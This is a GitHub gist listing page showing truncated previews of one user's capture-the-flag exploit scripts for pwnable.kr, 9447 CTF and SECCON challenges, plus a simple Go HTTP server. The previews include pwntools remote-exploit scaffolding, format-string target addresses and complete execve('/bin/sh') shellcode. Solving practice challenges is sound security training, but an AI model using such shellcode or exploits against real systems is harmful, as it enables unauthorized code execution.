Skip to content

Instantly share code, notes, and snippets.

View cubarco's full-sized avatar

Cubarco cubarco

View GitHub Profile
@cubarco
cubarco / pwnable-toddlersbottle-input.py
Created November 16, 2015 15:54
The solution for problem [input] of Toddler's Bottle from pwnable.
#!/usr/bin/env python
# coding=utf8
'''
Copy this file to /tmp, and run. That's all.
'''
import os
import socket
import random
#!/usr/bin/env python
# coding=utf8
'''
Copy this file to /tmp, and run it.
'''
import socket
import re
import sys
#!/usr/bin/env python
# coding=utf8
import socket
import re
import sys
def debug(string):
print '\033[92m' + '[DEBUG] ' + '\033[0m' + string
@cubarco
cubarco / simplehttpserver.go
Created December 3, 2015 03:03
This is a golang alternative to the SimpleHTTPServer of Python.
package main
import (
"flag"
"fmt"
"net/http"
)
func main() {
var port string
#!/usr/bin/env python
# coding=utf8
from pwn import p32, remote, context, asm, shellcraft
import sys
context.arch = 'i386'
p = remote('localhost', 9447)
#!/usr/bin/env python
# coding=utf8
from pwn import process, p32, remote
p = process("./calcpop")
#p = remote('calcpop-4gh07blg.9447.plumbing', 9447)
print p.recvline()
#!/usr/bin/env python
# coding=utf8
from pwn import context, p64, process, remote
from struct import unpack
context.arch = 'amd64'
# p = process('./treewalker')
p = remote('treewalker.pwn.seccon.jp', 20000)
#!/usr/bin/env python
# coding=utf8
from pwn import process
from time import sleep
p = process('./fsb')
read_got = 0x804a000
congratz_addr = 0x804869f
@cubarco
cubarco / pwnable-rookiss-tiny-easy.c
Last active December 11, 2015 03:04
pwnable-rookiss-tiny-easy.c does the guess work of stack address, and pwnable-rookiss-tiny-easy.py is much more efficient using gadgets from vdso but you need run `ulimit -s unlimited` first in the shell.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
char *shellcode = \
"\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"
"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
@cubarco
cubarco / pwnable-hackerssecret-tiny.c
Last active July 18, 2016 21:20
Run pwnable-hackerssecret-tiny.sh and you'll pwn the tiny.
#include <stdio.h>
#include <unistd.h>
int main()
{
char *envp[] = {
"env1=1", "env2=2", "env3=3",
"/bin/sh", "env5=5", NULL
};
execle("/home/tiny/tiny", "\xc8\x75\x55\x55",